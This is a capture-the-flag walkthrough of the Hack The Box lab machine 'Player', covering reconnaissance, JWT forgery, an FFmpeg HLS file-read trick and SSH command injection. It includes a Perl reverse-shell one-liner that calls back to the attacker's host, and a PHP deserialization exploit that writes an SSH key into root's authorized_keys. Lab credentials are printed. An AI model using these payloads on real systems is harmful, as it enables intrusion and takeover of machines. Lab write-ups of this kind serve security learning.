This post documents the complete walkthrough of Player, a retired vulnerable VM created by MrR3boot, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Player is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-07 08:31:08 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 6686/tcp on 10.10.10.145
Discovered open port 80/tcp on 10.10.10.145                                    
Discovered open port 22/tcp on 10.10.10.145

masscan finds three open ports. 6686/tcp looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,6686 -A --reason -oN nmap.txt 10.10.10.145
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.7
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
6686/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2 (protocol 2.0)

Hmm. Two SSH services on two different ports.

Directory/File Enumeration

Let’s fuzz for common directories, if any, with wfuzz.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404 http://10.10.10.145/FUZZ
********************************************************
* Wfuzz 2.2.1 - The Web Fuzzer                         *
********************************************************

Target: HTTP://10.10.10.145/FUZZ
Total requests: 4594

==================================================================
ID      Response   Lines      Word         Chars          Request    
==================================================================

00010:  C=403     10 L        30 W          283 Ch        ".hta"
00011:  C=403     10 L        30 W          288 Ch        ".htaccess"
00012:  C=403     10 L        30 W          288 Ch        ".htpasswd"
02320:  C=301      9 L        28 W          314 Ch        "launcher"
03598:  C=403     10 L        30 W          292 Ch        "server-status"

Total time: 58.86833
Processed Requests: 4594
Filtered Requests: 4589
Requests/sec.: 78.03855

Check out /launcher.

Sneaky Bastards

Inspecting the HTML source, you’ll notice a long string.

And, somewhere in the JavaScript is another long string.

At first glance, you might have thought they were the same but look closer, one ends with a c, the other ends with a e. That got me thinking, what if there’s more?

# wfuzz -w list.txt --hc 404 http://10.10.10.145/launcher/dee8dc8a47256c64630d803a4c40786FUZZ.php
********************************************************
* Wfuzz 2.2.1 - The Web Fuzzer                         *
********************************************************

Target: HTTP://10.10.10.145/launcher/dee8dc8a47256c64630d803a4c40786FUZZ.php
Total requests: 26

==================================================================
ID      Response   Lines      Word         Chars          Request    
==================================================================

00007:  C=200      0 L         0 W            0 Ch        "g"
00003:  C=302      0 L         0 W            0 Ch        "c"
00005:  C=200      0 L         3 W           16 Ch        "e"

Total time: 1.084244
Processed Requests: 26
Filtered Requests: 23
Requests/sec.: 23.97982

Sneaky bastards!

The string ending with c issues a JWT for access. There’s something interesting going on with the payload.

Keep this in mind for the time being. Who knows we may need to re-visit this later on?

More than meets the eye

There isn’t much to explore other than the possibility of virtual hosts or subdomains. Judging from past experiences, the name of the machine, appended with .htb is the domain name. Let’s fuzz it with the most common subdomain wordlist and see what we can find.

# wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-5000.txt -H "Host: FUZZ.player.htb" -t 20 --hc '400,403,404' http://10.10.10.145/                          
********************************************************
* Wfuzz 2.2.1 - The Web Fuzzer                         *
********************************************************

Target: HTTP://10.10.10.145/
Total requests: 4997

==================================================================
ID      Response   Lines      Word         Chars          Request
==================================================================

00067:  C=200     63 L       180 W         1470 Ch        "staging"
00070:  C=200    259 L       714 W         9513 Ch        "chat"
00019:  C=200      2 L        14 W           92 Ch        "dev"

Total time: 63.18726
Processed Requests: 4997
Filtered Requests: 4994
Requests/sec.: 79.08238

Voila. There you have it. We better put them into /etc/hosts. This is how they look like.

chat.player.htb

Interesting conversation going on there. :wink:

dev.player.htb

Codiad in the house!

staging.player.htb

As mentioned in the chat above, there are some sensitive files exposed in staging. Let’s see if we can uncover them.

# curl -i http://staging.player.htb/contact.php
HTTP/1.1 200 OK
Date: Fri, 12 Jul 2019 03:48:43 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Content-Type: text/html

array(3) {
  [0]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(6)
    ["function"]=>
    string(1) "c"
    ["args"]=>
    array(1) {
      [0]=>
      &string(9) "Cleveland"
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(3)
    ["function"]=>
    string(1) "b"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Glenn"
    }
  }
  [2]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(11)
    ["function"]=>
    string(1) "a"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Peter"
    }
  }
}
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php

Hmm. Two things. What’s /var/www/backup/service_config and /var/www/staging/fix.php? The file fix.php results in a 500 error.

# curl -i http://staging.player.htb/fix.php
HTTP/1.0 500 Internal Server Error
Date: Fri, 12 Jul 2019 03:51:14 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Content-Length: 0
Connection: close
Content-Type: text/html

Something funky sure is going on…

Orphaned Files

Recall the chat where Vincent mention the main site was exposing source code. It turns out that one of the PHP files had an orphan left behind.

Armed with the key and the access code, we can now generate the right JWT to access the early release of PlayBuff. I wrote the following bash script to generate the JWT.

#!/bin/bash

ACCESS=0E76658526655756207688271159624026011393
KEY="[email protected][email protected]_"
HEADER="{\"typ\":\"JWT\",\"alg\":\"HS256\"}"
PAYLOAD="{\"project\":\"PlayBuff\",\"access_code\":\"$ACCESS\"}"
JWT=$(echo -n $HEADER | base64 -w0).$(echo -n $PAYLOAD | base64 -w0 | tr '+/' '\-\_' | tr -d '=')
DGST=$(echo -n $JWT | openssl dgst -sha256 -hmac $(echo -n $KEY | tr '\-\_' '+/' | base64 -id 2>/dev/null) | cut -d' ' -f2 | xxd -p -r | base64 | tr '+/' '\-\_' | tr -d '=')

echo ${JWT}.${DGST}

We should get the following JWT from running the script.

# ./jwt.sh
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE

With that, we should be able to access PlayBuff.

FFmpeg HLS SSRF Vulnerability

I was able to make use of this script to generate a M3U playlist file masqueraded as an AVI file to exploit the FFmpeg HTPP Live Streaming (HLS) vulnerability to read files.

Once the media is “buffed”, make sure the file size is not 8.5KB (if it’s 8.5KB, the file is not readable for some reason). Then use ffmpeg to convert the media to PNG screenshots. Finally, we use gocr to convert the images to text.

# ffmpeg -i <AVI file> file-%02d.png

Check out /var/www/backup/service_config.

-------------
-- Options --
-------------

options.timeout = 120
options.subscribe = true


--------------
-- Accounts --
--------------

server = IMAP {
   server = 'player.htb',
   username = 'telegen',
   password = 'd-bC|jC!2uepS/w' ,
   ssl = 'tlsv1.3',
}

mailboxes, folders = server:list_all()

for i,m in pairs (mailboxes) do
    messages = server[m]:is_unseen() -- + server[m]:is_new ()
    --subjects = server[m]:fetch_fields({ 'subject' }, messages)
    body = server[m]:fetch_body(messages)
    if body ~= nil then
        print (m)
        for j,s in pairs (body) do
            print (string.format("\t%s", s))
        end
    end
end

For some reason, I was unable to read /var/www/staging/fix.php. Well, screw that. I got credentials yo~

Low-Privilege Shell

Armed with (telegen:d-bC|jC!2uepS/w), let’s see if we can log it to one of the SSHs.

Holy cow. It works! Too bad the euphoria didn’t last long because I’m facing lshell. This configuration is extremely restrictive. All commands are forbidden.

See? Nothing is allowed.

OpenSSH 7.2p1 - (Authenticated) xauth Command Injection

This vulnerability almost got me. Notice that 6686/tcp is running OpenSSH 7.2? The prerequisite for the only exploit (EDB-ID 39569) I could find, is X11Forwarding has to be enabled. There’s no way for me to confirm that without actually trying the exploit. So, let’s do this.

Damn.

The file user.txt is at telegen’s home directory.

This time round we can also read /var/www/staging/fix.php.

If you are wondering where does this credential (peter:CQXpm\z)G5D#%S$y=) belong to, the answer is Codiad (or dev.player.htb). Early on, I managed to take a peek at /var/www/demo/data/users.php. This is how it looks like.

Notice it’s commented out? I almost fell for the password-cracking rabbit hole.

Low-Privilege Shell Redux

Now that we have access to Codiad, we can create PHP files. :triumph:

With that, we can finally run a reverse shell back. I’m using a Perl one-liner like so.

perl -e 'use Socket;$i="10.10.14.2";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Bam! And from there, we can su to telegen, bypassing lshell entirely.

Privilege Escalation

During enumeration of telegen’s account, and with the help of pyspy, I noticed a periodic execution of PHP under root’s context.

Something interesting caught my attention when I’m at the directory /var/lib/playbuff. Check out buff.php.

We have a PHP serialization vulnerability here! And guess what, telegen has write permissions on merge.log. In short, we can write data anywhere on the file system as root. Let’s write a SSH public key we control to /root/.ssh/authorized_keys. That should give us access to root through SSH.

With that in mind, I wrote a very simple PHP exploit like so.

<?php

class playBuff {
  public $logFile = "../../../../../../../../../../../root/.ssh/authorized_keys";
  public $logData = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvFUGQQMfyr26mAXPsevYIWPtc/hgF7u4BvvVqsmvlzCWy13/RPJcqy5sC7h717+X4LJlxMan0lv30+cSUJwfeEyvjgQjVkV6FIuGzXZXsQapMsIntrjP0fprtz5vR6qdNAsr+4wqU4ewBfzVmfh+s1+RWWh4xIlJD3EFiCbcNfHAdSuq9Q6aHZyjoWrKcKBc2LmTGH4fozyXzN8WIkgpKoVs5wwDRFlAA6/l7EM9cvkiAlbrLL5ig3zvN1Ag0d/hTBylMZzq5VXDWlwD1hyUvpKc0dV66/6I11jEIHzE6apNU7BUU9OtvsfoYJtrPMKg5+r3m80MSunGa6eZAq9/J";
  public function __wakeup() {
    file_put_contents(__DIR__."/".$this->logFile,$this->logData);
  }
}

echo serialize(new playBuff());

?>

Running the exploit on my attacking machine like so, produces a base64-encoded serialized string that we can echo into merge.log while avoiding issues with single/double quotes in bash.

# php evil.php | base64 -w0 && echo
Tzo4OiJwbGF5QnVmZiI6Mjp7czo3OiJsb2dGaWxlIjtzOjU4OiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzIjtzOjc6ImxvZ0RhdGEiO3M6MzgwOiJzc2gtcnNhIEFBQUFCM056YUMxeWMyRUFBQUFEQVFBQkFBQUJBUUR2RlVHUVFNZnlyMjZtQVhQc2V2WUlXUHRjL2hnRjd1NEJ2dlZxc212bHpDV3kxMy9SUEpjcXk1c0M3aDcxNytYNExKbHhNYW4wbHYzMCtjU1VKd2ZlRXl2amdRalZrVjZGSXVHelhaWHNRYXBNc0ludHJqUDBmcHJ0ejV2UjZxZE5Bc3IrNHdxVTRld0JmelZtZmgrczErUldXaDR4SWxKRDNFRmlDYmNOZkhBZFN1cTlRNmFIWnlqb1dyS2NLQmMyTG1UR0g0Zm96eVh6TjhXSWtncEtvVnM1d3dEUkZsQUE2L2w3RU05Y3ZraUFsYnJMTDVpZzN6dk4xQWcwZC9oVEJ5bE1aenE1VlhEV2x3RDFoeVV2cEtjMGRWNjYvNkkxMWpFSUh6RTZhcE5VN0JVVTlPdHZzZm9ZSnRyUE1LZzUrcjNtODBNU3VuR2E2ZVpBcTkvSiI7fQ==

A minute later, we should be able log in through SSH as root.

:dancer:

Afterthought

I learned some important lessons: 1) Try harder, and don’t give up. 2) Never overlook the information gathering phase.